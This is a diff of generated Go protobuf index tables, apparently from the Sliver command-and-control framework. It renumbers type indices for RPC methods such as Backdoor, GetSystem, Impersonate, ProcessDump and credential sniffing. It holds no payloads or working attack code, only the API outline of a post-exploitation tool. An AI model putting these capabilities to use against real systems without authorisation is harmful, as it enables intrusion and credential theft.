-	(*clientpb.Beacons)(nil),                  // 138: clientpb.Beacons
-	(*clientpb.BeaconTasks)(nil),              // 139: clientpb.BeaconTasks
-	(*clientpb.Jobs)(nil),                     // 140: clientpb.Jobs
-	(*clientpb.KillJob)(nil),                  // 141: clientpb.KillJob
-	(*clientpb.StagerListener)(nil),           // 142: clientpb.StagerListener
-	(*clientpb.AllLoot)(nil),                  // 143: clientpb.AllLoot
-	(*clientpb.AllHosts)(nil),                 // 144: clientpb.AllHosts
-	(*clientpb.Generate)(nil),                 // 145: clientpb.Generate
-	(*clientpb.ExternalImplantConfig)(nil),    // 146: clientpb.ExternalImplantConfig
-	(*clientpb.HTTPC2Configs)(nil),            // 147: clientpb.HTTPC2Configs
-	(*clientpb.HTTPC2Config)(nil),             // 148: clientpb.HTTPC2Config
-	(*clientpb.Builders)(nil),                 // 149: clientpb.Builders
-	(*clientpb.CertificateInfo)(nil),          // 150: clientpb.CertificateInfo
-	(*clientpb.CertificateAuthorityInfo)(nil), // 151: clientpb.CertificateAuthorityInfo
-	(*clientpb.Crackstations)(nil),            // 152: clientpb.Crackstations
-	(*clientpb.CrackFiles)(nil),               // 153: clientpb.CrackFiles
-	(*clientpb.ImplantBuilds)(nil),            // 154: clientpb.ImplantBuilds
-	(*clientpb.Canaries)(nil),                 // 155: clientpb.Canaries
-	(*clientpb.WGClientConfig)(nil),           // 156: clientpb.WGClientConfig
-	(*clientpb.UniqueWGIP)(nil),               // 157: clientpb.UniqueWGIP
-	(*clientpb.ImplantProfiles)(nil),          // 158: clientpb.ImplantProfiles
-	(*clientpb.ShellcodeRDI)(nil),             // 159: clientpb.ShellcodeRDI
-	(*clientpb.Compiler)(nil),                 // 160: clientpb.Compiler
-	(*clientpb.ShellcodeEncode)(nil),          // 161: clientpb.ShellcodeEncode
-	(*clientpb.ShellcodeEncoderMap)(nil),      // 162: clientpb.ShellcodeEncoderMap
-	(*clientpb.TrafficEncoderMap)(nil),        // 163: clientpb.TrafficEncoderMap
-	(*clientpb.TrafficEncoderTests)(nil),      // 164: clientpb.TrafficEncoderTests
-	(*clientpb.Websites)(nil),                 // 165: clientpb.Websites
-	(*sliverpb.Ps)(nil),                       // 166: sliverpb.Ps
-	(*sliverpb.Terminate)(nil),                // 167: sliverpb.Terminate
-	(*sliverpb.Ifconfig)(nil),                 // 168: sliverpb.Ifconfig
-	(*sliverpb.Netstat)(nil),                  // 169: sliverpb.Netstat
-	(*sliverpb.Ls)(nil),                       // 170: sliverpb.Ls
-	(*sliverpb.Pwd)(nil),                      // 171: sliverpb.Pwd
-	(*sliverpb.Mv)(nil),                       // 172: sliverpb.Mv
-	(*sliverpb.Cp)(nil),                       // 173: sliverpb.Cp
-	(*sliverpb.Rm)(nil),                       // 174: sliverpb.Rm
-	(*sliverpb.Mkdir)(nil),                    // 175: sliverpb.Mkdir
-	(*sliverpb.Download)(nil),                 // 176: sliverpb.Download
-	(*sliverpb.Upload)(nil),                   // 177: sliverpb.Upload
-	(*sliverpb.Grep)(nil),                     // 178: sliverpb.Grep
-	(*sliverpb.Chmod)(nil),                    // 179: sliverpb.Chmod
-	(*sliverpb.Chown)(nil),                    // 180: sliverpb.Chown
-	(*sliverpb.Chtimes)(nil),                  // 181: sliverpb.Chtimes
-	(*sliverpb.MemfilesAdd)(nil),              // 182: sliverpb.MemfilesAdd
-	(*sliverpb.MemfilesRm)(nil),               // 183: sliverpb.MemfilesRm
-	(*sliverpb.Mount)(nil),                    // 184: sliverpb.Mount
-	(*sliverpb.ProcessDump)(nil),              // 185: sliverpb.ProcessDump
-	(*sliverpb.RunAs)(nil),                    // 186: sliverpb.RunAs
-	(*sliverpb.Impersonate)(nil),              // 187: sliverpb.Impersonate
-	(*sliverpb.RevToSelf)(nil),                // 188: sliverpb.RevToSelf
-	(*sliverpb.GetSystem)(nil),                // 189: sliverpb.GetSystem
-	(*sliverpb.Task)(nil),                     // 190: sliverpb.Task
-	(*sliverpb.ExecuteAssembly)(nil),          // 191: sliverpb.ExecuteAssembly
-	(*sliverpb.Migrate)(nil),                  // 192: sliverpb.Migrate
-	(*sliverpb.Execute)(nil),                  // 193: sliverpb.Execute
-	(*sliverpb.Sideload)(nil),                 // 194: sliverpb.Sideload
-	(*sliverpb.SpawnDll)(nil),                 // 195: sliverpb.SpawnDll
-	(*sliverpb.Screenshot)(nil),               // 196: sliverpb.Screenshot
-	(*sliverpb.CurrentTokenOwner)(nil),        // 197: sliverpb.CurrentTokenOwner
-	(*sliverpb.Services)(nil),                 // 198: sliverpb.Services
-	(*sliverpb.ServiceDetail)(nil),            // 199: sliverpb.ServiceDetail
-	(*sliverpb.ServiceInfo)(nil),              // 200: sliverpb.ServiceInfo
-	(*sliverpb.PivotListener)(nil),            // 201: sliverpb.PivotListener
-	(*sliverpb.PivotListeners)(nil),           // 202: sliverpb.PivotListeners
-	(*clientpb.PivotGraph)(nil),               // 203: clientpb.PivotGraph
-	(*sliverpb.MakeToken)(nil),                // 204: sliverpb.MakeToken
-	(*sliverpb.EnvInfo)(nil),                  // 205: sliverpb.EnvInfo
-	(*sliverpb.SetEnv)(nil),                   // 206: sliverpb.SetEnv
-	(*sliverpb.UnsetEnv)(nil),                 // 207: sliverpb.UnsetEnv
-	(*clientpb.Backdoor)(nil),                 // 208: clientpb.Backdoor
-	(*sliverpb.RegistryRead)(nil),             // 209: sliverpb.RegistryRead
-	(*sliverpb.RegistryWrite)(nil),            // 210: sliverpb.RegistryWrite
-	(*sliverpb.RegistryCreateKey)(nil),        // 211: sliverpb.RegistryCreateKey
-	(*sliverpb.RegistryDeleteKey)(nil),        // 212: sliverpb.RegistryDeleteKey
-	(*sliverpb.RegistrySubKeyList)(nil),       // 213: sliverpb.RegistrySubKeyList
-	(*sliverpb.RegistryValuesList)(nil),       // 214: sliverpb.RegistryValuesList
-	(*sliverpb.RegistryReadHive)(nil),         // 215: sliverpb.RegistryReadHive
-	(*sliverpb.SSHCommand)(nil),               // 216: sliverpb.SSHCommand
-	(*clientpb.DllHijack)(nil),                // 217: clientpb.DllHijack
-	(*sliverpb.GetPrivs)(nil),                 // 218: sliverpb.GetPrivs
-	(*sliverpb.RportFwdListener)(nil),         // 219: sliverpb.RportFwdListener
-	(*sliverpb.RportFwdListeners)(nil),        // 220: sliverpb.RportFwdListeners
-	(*sliverpb.RegisterExtension)(nil),        // 221: sliverpb.RegisterExtension
-	(*sliverpb.CallExtension)(nil),            // 222: sliverpb.CallExtension
-	(*sliverpb.ListExtensions)(nil),           // 223: sliverpb.ListExtensions
-	(*sliverpb.RegisterWasmExtension)(nil),    // 224: sliverpb.RegisterWasmExtension
-	(*sliverpb.ListWasmExtensions)(nil),       // 225: sliverpb.ListWasmExtensions
-	(*sliverpb.ExecWasmExtension)(nil),        // 226: sliverpb.ExecWasmExtension
-	(*sliverpb.WGPortForward)(nil),            // 227: sliverpb.WGPortForward
-	(*sliverpb.WGSocks)(nil),                  // 228: sliverpb.WGSocks
-	(*sliverpb.WGTCPForwarders)(nil),          // 229: sliverpb.WGTCPForwarders
-	(*sliverpb.WGSocksServers)(nil),           // 230: sliverpb.WGSocksServers
-	(*sliverpb.Shell)(nil),                    // 231: sliverpb.Shell
-	(*sliverpb.Portfwd)(nil),                  // 232: sliverpb.Portfwd
+	(*sliverpb.ShellResizeReq)(nil),           // 126: sliverpb.ShellResizeReq
+	(*sliverpb.PortfwdReq)(nil),               // 127: sliverpb.PortfwdReq
+	(*sliverpb.Socks)(nil),                    // 128: sliverpb.Socks
+	(*sliverpb.SocksData)(nil),                // 129: sliverpb.SocksData
+	(*sliverpb.Tunnel)(nil),                   // 130: sliverpb.Tunnel
+	(*sliverpb.TunnelData)(nil),               // 131: sliverpb.TunnelData
+	(*clientpb.Version)(nil),                  // 132: clientpb.Version
+	(*clientpb.Operators)(nil),                // 133: clientpb.Operators
+	(*sliverpb.Reconfigure)(nil),              // 134: sliverpb.Reconfigure
+	(*clientpb.Sessions)(nil),                 // 135: clientpb.Sessions
+	(*commonpb.Response)(nil),                 // 136: commonpb.Response
+	(*clientpb.MonitoringProviders)(nil),      // 137: clientpb.MonitoringProviders
+	(*clientpb.ListenerJob)(nil),              // 138: clientpb.ListenerJob
+	(*clientpb.Beacons)(nil),                  // 139: clientpb.Beacons
+	(*clientpb.BeaconTasks)(nil),              // 140: clientpb.BeaconTasks
+	(*clientpb.Jobs)(nil),                     // 141: clientpb.Jobs
+	(*clientpb.KillJob)(nil),                  // 142: clientpb.KillJob
+	(*clientpb.StagerListener)(nil),           // 143: clientpb.StagerListener
+	(*clientpb.AllLoot)(nil),                  // 144: clientpb.AllLoot
+	(*clientpb.AllHosts)(nil),                 // 145: clientpb.AllHosts
+	(*clientpb.Generate)(nil),                 // 146: clientpb.Generate
+	(*clientpb.ExternalImplantConfig)(nil),    // 147: clientpb.ExternalImplantConfig
+	(*clientpb.HTTPC2Configs)(nil),            // 148: clientpb.HTTPC2Configs
+	(*clientpb.HTTPC2Config)(nil),             // 149: clientpb.HTTPC2Config
+	(*clientpb.Builders)(nil),                 // 150: clientpb.Builders
+	(*clientpb.CertificateInfo)(nil),          // 151: clientpb.CertificateInfo
+	(*clientpb.CertificateAuthorityInfo)(nil), // 152: clientpb.CertificateAuthorityInfo
+	(*clientpb.Crackstations)(nil),            // 153: clientpb.Crackstations
+	(*clientpb.CrackFiles)(nil),               // 154: clientpb.CrackFiles
+	(*clientpb.ImplantBuilds)(nil),            // 155: clientpb.ImplantBuilds
+	(*clientpb.Canaries)(nil),                 // 156: clientpb.Canaries
+	(*clientpb.WGClientConfig)(nil),           // 157: clientpb.WGClientConfig
+	(*clientpb.UniqueWGIP)(nil),               // 158: clientpb.UniqueWGIP
+	(*clientpb.ImplantProfiles)(nil),          // 159: clientpb.ImplantProfiles
+	(*clientpb.ShellcodeRDI)(nil),             // 160: clientpb.ShellcodeRDI
+	(*clientpb.Compiler)(nil),                 // 161: clientpb.Compiler
+	(*clientpb.ShellcodeEncode)(nil),          // 162: clientpb.ShellcodeEncode
+	(*clientpb.ShellcodeEncoderMap)(nil),      // 163: clientpb.ShellcodeEncoderMap
+	(*clientpb.TrafficEncoderMap)(nil),        // 164: clientpb.TrafficEncoderMap
+	(*clientpb.TrafficEncoderTests)(nil),      // 165: clientpb.TrafficEncoderTests
+	(*clientpb.Websites)(nil),                 // 166: clientpb.Websites
+	(*sliverpb.Ps)(nil),                       // 167: sliverpb.Ps
+	(*sliverpb.Terminate)(nil),                // 168: sliverpb.Terminate
+	(*sliverpb.Ifconfig)(nil),                 // 169: sliverpb.Ifconfig
+	(*sliverpb.Netstat)(nil),                  // 170: sliverpb.Netstat
+	(*sliverpb.Ls)(nil),                       // 171: sliverpb.Ls
+	(*sliverpb.Pwd)(nil),                      // 172: sliverpb.Pwd
+	(*sliverpb.Mv)(nil),                       // 173: sliverpb.Mv
+	(*sliverpb.Cp)(nil),                       // 174: sliverpb.Cp
+	(*sliverpb.Rm)(nil),                       // 175: sliverpb.Rm
+	(*sliverpb.Mkdir)(nil),                    // 176: sliverpb.Mkdir
+	(*sliverpb.Download)(nil),                 // 177: sliverpb.Download
+	(*sliverpb.Upload)(nil),                   // 178: sliverpb.Upload
+	(*sliverpb.Grep)(nil),                     // 179: sliverpb.Grep
+	(*sliverpb.Chmod)(nil),                    // 180: sliverpb.Chmod
+	(*sliverpb.Chown)(nil),                    // 181: sliverpb.Chown
+	(*sliverpb.Chtimes)(nil),                  // 182: sliverpb.Chtimes
+	(*sliverpb.MemfilesAdd)(nil),              // 183: sliverpb.MemfilesAdd
+	(*sliverpb.MemfilesRm)(nil),               // 184: sliverpb.MemfilesRm
+	(*sliverpb.Mount)(nil),                    // 185: sliverpb.Mount
+	(*sliverpb.ProcessDump)(nil),              // 186: sliverpb.ProcessDump
+	(*sliverpb.RunAs)(nil),                    // 187: sliverpb.RunAs
+	(*sliverpb.Impersonate)(nil),              // 188: sliverpb.Impersonate
+	(*sliverpb.RevToSelf)(nil),                // 189: sliverpb.RevToSelf
+	(*sliverpb.GetSystem)(nil),                // 190: sliverpb.GetSystem
+	(*sliverpb.Task)(nil),                     // 191: sliverpb.Task
+	(*sliverpb.ExecuteAssembly)(nil),          // 192: sliverpb.ExecuteAssembly
+	(*sliverpb.Migrate)(nil),                  // 193: sliverpb.Migrate
+	(*sliverpb.Execute)(nil),                  // 194: sliverpb.Execute
+	(*sliverpb.Sideload)(nil),                 // 195: sliverpb.Sideload
+	(*sliverpb.SpawnDll)(nil),                 // 196: sliverpb.SpawnDll
+	(*sliverpb.Screenshot)(nil),               // 197: sliverpb.Screenshot
+	(*sliverpb.CurrentTokenOwner)(nil),        // 198: sliverpb.CurrentTokenOwner
+	(*sliverpb.Services)(nil),                 // 199: sliverpb.Services
+	(*sliverpb.ServiceDetail)(nil),            // 200: sliverpb.ServiceDetail
+	(*sliverpb.ServiceInfo)(nil),              // 201: sliverpb.ServiceInfo
+	(*sliverpb.PivotListener)(nil),            // 202: sliverpb.PivotListener
+	(*sliverpb.PivotListeners)(nil),           // 203: sliverpb.PivotListeners
+	(*clientpb.PivotGraph)(nil),               // 204: clientpb.PivotGraph
+	(*sliverpb.MakeToken)(nil),                // 205: sliverpb.MakeToken
+	(*sliverpb.EnvInfo)(nil),                  // 206: sliverpb.EnvInfo
+	(*sliverpb.SetEnv)(nil),                   // 207: sliverpb.SetEnv
+	(*sliverpb.UnsetEnv)(nil),                 // 208: sliverpb.UnsetEnv
+	(*clientpb.Backdoor)(nil),                 // 209: clientpb.Backdoor
+	(*sliverpb.RegistryRead)(nil),             // 210: sliverpb.RegistryRead
+	(*sliverpb.RegistryWrite)(nil),            // 211: sliverpb.RegistryWrite
+	(*sliverpb.RegistryCreateKey)(nil),        // 212: sliverpb.RegistryCreateKey
+	(*sliverpb.RegistryDeleteKey)(nil),        // 213: sliverpb.RegistryDeleteKey
+	(*sliverpb.RegistrySubKeyList)(nil),       // 214: sliverpb.RegistrySubKeyList
+	(*sliverpb.RegistryValuesList)(nil),       // 215: sliverpb.RegistryValuesList
+	(*sliverpb.RegistryReadHive)(nil),         // 216: sliverpb.RegistryReadHive
+	(*sliverpb.SSHCommand)(nil),               // 217: sliverpb.SSHCommand
+	(*clientpb.DllHijack)(nil),                // 218: clientpb.DllHijack
+	(*sliverpb.GetPrivs)(nil),                 // 219: sliverpb.GetPrivs
+	(*sliverpb.RportFwdListener)(nil),         // 220: sliverpb.RportFwdListener
+	(*sliverpb.RportFwdListeners)(nil),        // 221: sliverpb.RportFwdListeners
+	(*sliverpb.RegisterExtension)(nil),        // 222: sliverpb.RegisterExtension
+	(*sliverpb.CallExtension)(nil),            // 223: sliverpb.CallExtension
+	(*sliverpb.ListExtensions)(nil),           // 224: sliverpb.ListExtensions
+	(*sliverpb.RegisterWasmExtension)(nil),    // 225: sliverpb.RegisterWasmExtension
+	(*sliverpb.ListWasmExtensions)(nil),       // 226: sliverpb.ListWasmExtensions
+	(*sliverpb.ExecWasmExtension)(nil),        // 227: sliverpb.ExecWasmExtension
+	(*sliverpb.WGPortForward)(nil),            // 228: sliverpb.WGPortForward
+	(*sliverpb.WGSocks)(nil),                  // 229: sliverpb.WGSocks
+	(*sliverpb.WGTCPForwarders)(nil),          // 230: sliverpb.WGTCPForwarders
+	(*sliverpb.WGSocksServers)(nil),           // 231: sliverpb.WGSocksServers
+	(*sliverpb.Shell)(nil),                    // 232: sliverpb.Shell
+	(*sliverpb.Portfwd)(nil),                  // 233: sliverpb.Portfwd
 }
 var file_rpcpb_services_proto_depIdxs = []int32{
 	0,   // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty
@@ -1139,198 +1144,200 @@ var file_rpcpb_services_proto_depIdxs = []int32{
 	123, // 171: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq
 	124, // 172: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq
 	125, // 173: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq
-	126, // 174: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
-	127, // 175: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
-	127, // 176: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
-	128, // 177: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
-	129, // 178: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
-	129, // 179: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
-	130, // 180: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
-	0,   // 181: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
-	131, // 182: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
-	0,   // 183: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty
-	132, // 184: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
-	0,   // 185: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
-	133, // 186: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
-	0,   // 187: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
-	134, // 188: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
-	135, // 189: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
-	0,   // 190: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
-	136, // 191: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders
-	135, // 192: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response
-	135, // 193: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response
-	137, // 194: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob
-	137, // 195: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob
-	137, // 196: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob
-	137, // 197: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob
-	137, // 198: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob
-	138, // 199: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
-	10,  // 200: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
-	0,   // 201: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
-	139, // 202: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
-	11,  // 203: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
-	11,  // 204: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
-	0,   // 205: rpcpb.SliverRPC.UpdateBeaconIntegrityInformation:output_type -> commonpb.Empty
-	140, // 206: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
-	141, // 207: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
-	0,   // 208: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty
-	142, // 209: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
-	16,  // 210: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
-	0,   // 211: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
-	16,  // 212: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
-	16,  // 213: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
-	143, // 214: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
-	17,  // 215: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials
-	0,   // 216: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty
-	0,   // 217: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty
-	0,   // 218: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty
-	18,  // 219: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential
-	17,  // 220: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials
-	17,  // 221: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials
-	18,  // 222: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential
-	144, // 223: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
-	19,  // 224: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
-	0,   // 225: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
-	0,   // 226: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
-	145, // 227: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
-	146, // 228: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
-	0,   // 229: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
-	146, // 230: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig
-	145, // 231: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate
-	0,   // 232: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty
-	147, // 233: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs
-	148, // 234: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config
-	0,   // 235: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty
-	30,  // 236: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
-	0,   // 237: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
-	149, // 238: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
-	150, // 239: rpcpb.SliverRPC.GetCertificateInfo:output_type -> clientpb.CertificateInfo
-	151, // 240: rpcpb.SliverRPC.GetCertificateAuthorityInfo:output_type -> clientpb.CertificateAuthorityInfo
-	30,  // 241: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event
-	0,   // 242: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty
-	0,   // 243: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty
-	152, // 244: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations
-	34,  // 245: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask
-	0,   // 246: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty
-	153, // 247: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles
-	35,  // 248: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile
-	0,   // 249: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty
-	36,  // 250: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk
-	0,   // 251: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty
-	0,   // 252: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty
-	145, // 253: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
-	154, // 254: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
-	0,   // 255: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
-	155, // 256: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
-	156, // 257: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
-	157, // 258: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
-	158, // 259: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
-	0,   // 260: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
-	39,  // 261: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
-	159, // 262: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
-	160, // 263: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
-	161, // 264: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
-	162, // 265: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
-	163, // 266: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap
-	164, // 267: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests
-	0,   // 268: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty
-	165, // 269: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
-	43,  // 270: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
-	0,   // 271: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
-	43,  // 272: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
-	43,  // 273: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
-	43,  // 274: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
-	46,  // 275: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
-	166, // 276: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
-	167, // 277: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
-	168, // 278: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
-	169, // 279: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
-	170, // 280: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
-	171, // 281: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
-	171, // 282: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
-	172, // 283: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
-	173, // 284: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp
-	174, // 285: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
-	175, // 286: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
-	176, // 287: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
-	177, // 288: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
-	178, // 289: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep
-	179, // 290: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod
-	180, // 291: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown
-	181, // 292: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes
-	170, // 293: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls
-	182, // 294: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd
-	183, // 295: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm
-	184, // 296: rpcpb.SliverRPC.Mount:output_type -> sliverpb.Mount
-	185, // 297: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
-	186, // 298: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
-	187, // 299: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
-	188, // 300: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
-	189, // 301: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
-	190, // 302: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
-	190, // 303: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
-	190, // 304: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
-	191, // 305: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
-	192, // 306: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
-	193, // 307: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
-	193, // 308: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
-	194, // 309: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
-	195, // 310: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
-	196, // 311: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
-	197, // 312: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
-	198, // 313: rpcpb.SliverRPC.Services:output_type -> sliverpb.Services
-	199, // 314: rpcpb.SliverRPC.ServiceDetail:output_type -> sliverpb.ServiceDetail
-	200, // 315: rpcpb.SliverRPC.StartServiceByName:output_type -> sliverpb.ServiceInfo
-	201, // 316: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
-	0,   // 317: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
-	202, // 318: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
-	203, // 319: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
-	200, // 320: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
-	200, // 321: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
-	200, // 322: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
-	204, // 323: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
-	205, // 324: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
-	206, // 325: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
-	207, // 326: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
-	208, // 327: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor
